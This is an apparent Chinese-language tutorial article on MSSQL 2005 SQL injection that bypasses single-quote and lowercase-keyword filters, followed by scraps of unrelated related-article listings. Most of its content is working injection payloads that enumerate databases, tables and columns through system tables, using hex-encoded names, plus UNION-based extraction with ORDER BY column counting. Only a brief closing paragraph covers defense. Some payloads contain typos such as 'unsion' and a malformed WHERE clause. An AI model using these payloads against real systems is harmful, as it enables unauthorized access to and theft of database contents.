web
應用程式一般都會使用資料庫來儲存各種資訊,比如電子商務**的帳戶資訊、銷售商品的**,訂單、支付細節、和各種不同的許可權數值等。資料庫中的資訊的讀取、更新、增加或者刪除等都是通過
sql來實現的,因此,在資料互動的環節沒有安全過濾淨化,則可能易於受到
sql注入攻擊,嚴重的可能導致資料庫非法操作,但是隨著時間的推移,
web應用程式的開發者安全意識的日漸增強,
sql注入漏洞已經呈下降消失狀態,但是之前的
web程式在被動防範
sql攻擊時,還是略顯乏力,或者說是考慮不太周全。比如說普遍使用的過濾關鍵字的方法,如果僅僅過濾單引號或者小寫類的關鍵字,則極易出現繞過的情形,而國內的安全公司相繼推出的硬體
waf是否會存在同樣的問題呢?從根本上說硬體
waf基於訪問請求流量來鑑別攻擊行為,可能在以後的攻防對立的演化過程也會慢慢有爆出被繞過的問題,所有的問題依然存在。本文試著在注入的
sql語句中不引用單引號,來和大家討論一下注入攻擊的部分原理和技巧。在一次測試中,發現一注入點過濾了單引號和小寫的關鍵字,提交語句如下:
′and 1=(select @@version)
—去掉單引號再次提交:
and 1=(select @@version)—
成功爆出資料庫的系統版本了,說明在處理資料提交時,**即使過濾了單引號了,依然可以注入。以下將和大家討論獲取資料庫名、獲取表名、獲取列名、獲取值等內容的部分
sql語句。在
mssql2005
的master.dbo.sysdatabases
表中存放著
sqlserver
資料庫系統中的所有的資料庫資訊,僅需要
public
許可權就可以進行
select
操作:use master;
select * from master.dbo.sysdatabases
一至四,都是系統自帶的資料庫名,所以可以通過
dbid
這個查詢變數來一一進行爆出資料庫名,提交查詢語句:
and 1 in (select name from master.dbo.sysdatabases where dbid=3)
查詢語句通過
dbid
取值從1
至到無法爆出資料庫名為至。
在mssql2005
版本裡每個資料庫都有乙個用來存放表名資訊的表,其許可權同樣僅
public
許可權就能查詢了
,表名為:
information_schema.tables
。use master ;
select * from information_schema.tables;
表名就儲存在
table_name
列裡,通過使用條件查詢語句限制型「
top 1
」,一條條紀錄爆出表名來。
and 1 in (select top 1 table_name from information_schema.tables)
其為爆出的第一條紀錄。如想爆出第一條記錄,即可以使用
sql語法的條件語句「
where table_name !=0x
已經爆出表名的十六進製制」來取內容。先取已爆表名的十六進製制。
再提交語句如下:
and 1 in (select top 1 table_name from information_schema.tables where table_name!=0x41006400760065007200740069007a0065007200)
成功爆出第二個表名,剩下的以此類推。當然讀取資料庫的
information_schema.tables
表內容,只是當前資料庫的表名,如果要讀取整個資料庫的表名,可以讀
sysobjects
表的name
列名,原理同上。
在獲取表名,得到列名是注入的下乙個關鍵問題,在
mssql 2005
的資料庫裡,有張表名
sys.all_objects
裡存放著表與列的資訊,其表的列名
object_id
裡存放著乙個數值,對應著另一表名
sys.all_columns
裡的列名
id,而
sys.all_columns
表裡存放著列的資訊。執行:
select * from sys.all_objects
由上圖可知,列名
name
和列名object_id
是有對應的。在注入時,可以通過指定
name
值來指定爆表的
object_id
的值。提交:
and 999999< (select top 1 cast([object_id] as nvarchar(20)) from sys.all_objects where43006c00690063006b0049005000)—
以上語句是無法直接爆出數值來的,但是可以用折半法來進行猜解,由於其數值都在
10位以上,所以,其法也不太可能,但是可以聯合兩張表來直接查詢。再次提交:
and 9 in (select b.name from sysobjects a,syscolumns b where a.id=b.id and a.name=0x43006c00690063006b0049005000)—
已經爆出表名
0x43006c00690063006b0049005000
的第乙個列名
id了,可以加入條件」
and b.name != 0x
已經爆出的列名」,
類推可以依次爆出。
and 9 in (select b.name from sysobjects a,syscolumns b where a.id=b.id and a.name=0x43006c00690063006b0049005000 and b.name!=0×49004400)—
在獲取了表名和列名之後,獲取其值也是很簡單的。比較常用的有比如這樣的獲取值的:
and 77= (select ascii(@@version))
and 1=2 unsion select 1,2,3..@@version–…
一種是爆錯對比,一種是
union
操作。第一種是基於查詢後值的對比,而
union
操作是將執行返回的結果直接在瀏覽器顯示,從而避免繁瑣的折半猜測,在使用
union
操作時,前提則是前後查詢的兩種結果的結構相同,即是列名數相同,可以通過「
order by
列名數「來鑑別。
order by 1—
order by 2
… order by 8—
此時,返回錯誤頁面,即說明列名數是
8,執行語句:
and 1=2 unsion select 1,2,3,4,5,6,7,8—
來取出紀錄。
防範sql
注入攻擊,儘管不同的資料庫也會有不同的攻擊技巧,複雜程式也各不相同,而許多
sql注入防範措施僅僅從某一處著手或者部分有效,從乙個安全整體的角度立體的防護或許是值得借鑑的方法,比如從**邏輯層、資料庫層、網路層、系統層等,從本文闡述的原理來看,下次針對資料庫的安全加固,你是否會調整一下「
sysobjects
、syscolumns
」等物件的許可權呢?好像資料庫批量掛馬也有用到這兩個表哦!
SQL注入繞過PHP單引號字元轉義原理及預防方法
利用gbk雙位元組編碼,繞過單引號轉義 附贈工具一款 php漢字url編碼轉換器 注入實驗 start id get id 建立連線 conn false conn mysql connect localhost root mysql query set names gbk mysql select...
39 注入篇 繞過防注入繼續注入
在很多情況下,我們好不容易發現了可能注入的注入點,但是卻由於各種的過濾機制使得我們的注入語句無法執行,這使得我們最後無法拿下 的administrator許可權,本小節我們就講解一些繞過各種防注入過濾措施的方法!1 使用編碼技術 通過urlencode編碼 ascii編碼繞過。例如 or 1 1 即...
自動完成 SQL注入單引號
在做查詢自動完成 autocomplete 功能時,出現乙個小bug。如下圖所示 這個錯誤很明顯是sql語句語法錯誤引起的,我這裡後端用的是字串拼接方式生成sql語句,其中部分條件模糊查詢語句如下 sql string.format and name like or shortname like o...